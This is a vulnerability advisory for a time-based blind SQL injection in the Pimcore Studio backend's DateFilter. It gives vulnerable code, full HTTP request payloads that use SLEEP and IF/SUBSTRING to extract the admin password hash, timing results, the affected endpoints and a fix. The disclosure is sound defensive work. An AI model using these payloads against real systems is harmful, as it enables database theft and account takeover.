CVE-2026-55208

## Summary An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the `DateFilter` column key parameter. The `POST /pimcore-studio/api/website-settings` endpoint (and 11 other listing endpoints) accepts a `columnFilters` array where the `key` field is interpolated directly into SQL with only manual backtick wrapping. The `DateFilter` uses fixed named parameters (`:minTime`, `:maxTime`), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including `SLEEP()` for time-based extraction and `IF()` subqueries for conditional data exfiltration. ## Vulnerability Details ### Exploitable: DateFilter with Fixed Named Parameters `src/Listing/Filter/DateFilter.php` lines 49-57 handle the `on` operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as `:minTime` and `:maxTime`: ```php $key = $column->getKey(); // user-controlled, no validation $dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime'; $listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]); ``` Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains. ### Same Pattern in Note FilterService `src/Note/Service/FilterService.php` lines 64-67: ```php $dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime'; $list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]); ``` ### No Validation on Column Key `src/MappedParameter/Filter/ColumnFilter.php` accepts any string as the `key` with zero validation or allowlisting. ### Why Backtick Wrapping is Not Escaping Manual backtick wrapping (`` '`' . $key . '`' ``) does not escape internal backtick characters. `quoteIdentifier()` doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the `-- ` (double dash space) comments out the remainder of the query: **Input:** ``key = "id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "`` **Produces:** ```sql (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ` BETWEEN :minTime AND :maxTime) ``` Everything after `-- ` is a SQL comment. The injected `SLEEP(3)` executes unconditionally. ### Contrast with Safe Patterns in the Same Codebase - `LogRepository.php` line 202: uses `$this->dbResolver->get()->quoteIdentifier()` (safe) - `ClassificationStore/Configuration/KeyRepository.php`: uses `ALLOWED_SORT_KEYS` allowlist (safe) ### Note on EqualsFilter/LikeFilter The `EqualsFilter` and `LikeFilter` have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (`:columnName`). PDO requires named parameters to match `[a-zA-Z0-9_]`, so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names. ## Steps to Reproduce Tested on Pimcore 12.x (2026.x branch, latest commit `82f9ff6`), Docker, PHP 8.4, MariaDB 10.11. ### Step 1: Baseline request (no injection) ```http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATED_SESSION> {"page":1,"pageSize":10} ``` **Response:** `HTTP/1.1 200 OK` -- `totalItems: 1` -- **0.07 seconds** <img width="1666" height="616" alt="image" src="https://github.com/user-attachments/assets/93dfbb22-3915-4abb-b569-13c9f3cea368" /> ### Step 2: Unconditional SLEEP(3) injection ```http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATED_SESSION> {"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}} ``` **Response:** `HTTP/1.1 200 OK` -- `totalItems: 0` -- **6.07 seconds** <img width="1631" height="898" alt="image" src="https://github.com/user-attachments/assets/97d04b04-4fb2-4fd4-95b8-e50d0521de97" /> <img width="1920" height="625" alt="image" src="https://github.com/user-attachments/assets/6000a604-b189-4f99-8648-d8ec36a59094" /> The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed: ```sql SELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ` BETWEEN :minTime AND :maxTime) ORDER BY `id` ASC LIMIT 50 ``` ### Step 3: Conditional SLEEP proving data extraction (TRUE case) This query tests whether the admin password hash starts with `$2y$` (bcrypt, hex `0x24327924`). If true, the server sleeps 3 seconds. If false, no delay. ```http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATED_SESSION> {"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}} ``` **Response:** `HTTP/1.1 200 OK` -- **6.07 seconds** (TRUE: admin password hash starts with `$2y$`) <img width="1611" height="706" alt="image" src="https://github.com/user-attachments/assets/b9f12ca4-3459-4ed6-8a08-c64f99f28d85" /> <img width="1917" height="570" alt="image" src="https://github.com/user-attachments/assets/1c5eca3d-f66b-4630-bea9-69c93ffa1a6f" /> ### Step 4: Conditional SLEEP (FALSE case, wrong guess) Same query but testing for `XXXX` (hex `0x58585858`) instead: ```http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATED_SESSION> {"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}} ``` **Response:** `HTTP/1.1 200 OK` -- **0.07 seconds** (FALSE: password does not start with `XXXX`) <img width="1920" height="496" alt="image" src="https://github.com/user-attachments/assets/7a27f666-a6e4-4c65-94b4-f0d22ba1db7f" /> ### Timing comparison | Request | Payload | Response Time | Meaning | |---------|---------|---------------|---------| | Baseline | No injection | 0.07s | Normal | | Unconditional SLEEP | `AND SLEEP(3)` | 6.07s | Injection confirmed | | Conditional TRUE | `IF(password starts with $2y$, SLEEP(3), 0)` | 6.07s | Data extracted: hash is bcrypt | | Conditional FALSE | `IF(password starts with XXXX, SLEEP(3), 0)` | 0.07s | Control: no match, no delay | By iterating through characters with `SUBSTRING(password, N, 1)`, an attacker extracts the full bcrypt hash for offline cracking, or extracts `passwordRecoveryToken` values for direct account takeover without cracking. ## Impact An authenticated user with `website_settings` permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection. Directly extractable high-value data: - Admin password hashes (`users.password`) for offline cracking - Password recovery tokens (`users.passwordRecoveryToken`) for direct account takeover via `POST /login/token` - Session data for session hijacking - All PIM product data, CMS content, and asset metadata ## Affected Endpoints All endpoints using `ListingFilter::applyFilters()` with a DateFilter `on` column filter: - `POST /pimcore-studio/api/website-settings` - `POST /pimcore-studio/api/notifications` - `POST /pimcore-studio/api/recycle-bin` - `POST /pimcore-studio/api/redirects` - `POST /pimcore-studio/api/translations/{domain}` - `POST /pimcore-studio/api/quantity-value/units` - `POST /pimcore-studio/api/properties` - `POST /pimcore-studio/api/classification-store/{storeId}/keys` - `POST /pimcore-studio/api/classification-store/{storeId}/groups` - `POST /pimcore-studio/api/classification-store/{storeId}/collections` - `GET /pimcore-studio/api/notes/{elementType}/{id}` (via Note FilterService fieldFilters) ## Recommended Fix Replace manual backtick wrapping with `Doctrine\DBAL\Connection::quoteIdentifier()`, or implement a per-listing allowlist of valid column names: ```php // Option 1: quoteIdentifier (doubles internal backticks) $db = \Pimcore\Db::get(); $dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime'; // Option 2: allowlist (preferred) private const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate']; if (!in_array($key, self::ALLOWED_COLUMNS, true)) { throw new InvalidArgumentException('Invalid filter column'); } ``` Apply the same fix to `EqualsFilter`, `LikeFilter`, and `Note/FilterService` as defense-in-depth, even though those are currently protected by PDO named parameter validation. ## Supporting Materials - Live-tested on Pimcore 12.x (2026.x branch, commit `82f9ff6`), Docker, PHP 8.4, MariaDB 10.11 - MySQL general query log confirms injected SQL reaches the database - The safe pattern (`quoteIdentifier()`) exists in the same codebase in `LogRepository.php` line 202 - Package: `pimcore/studio-backend-bundle`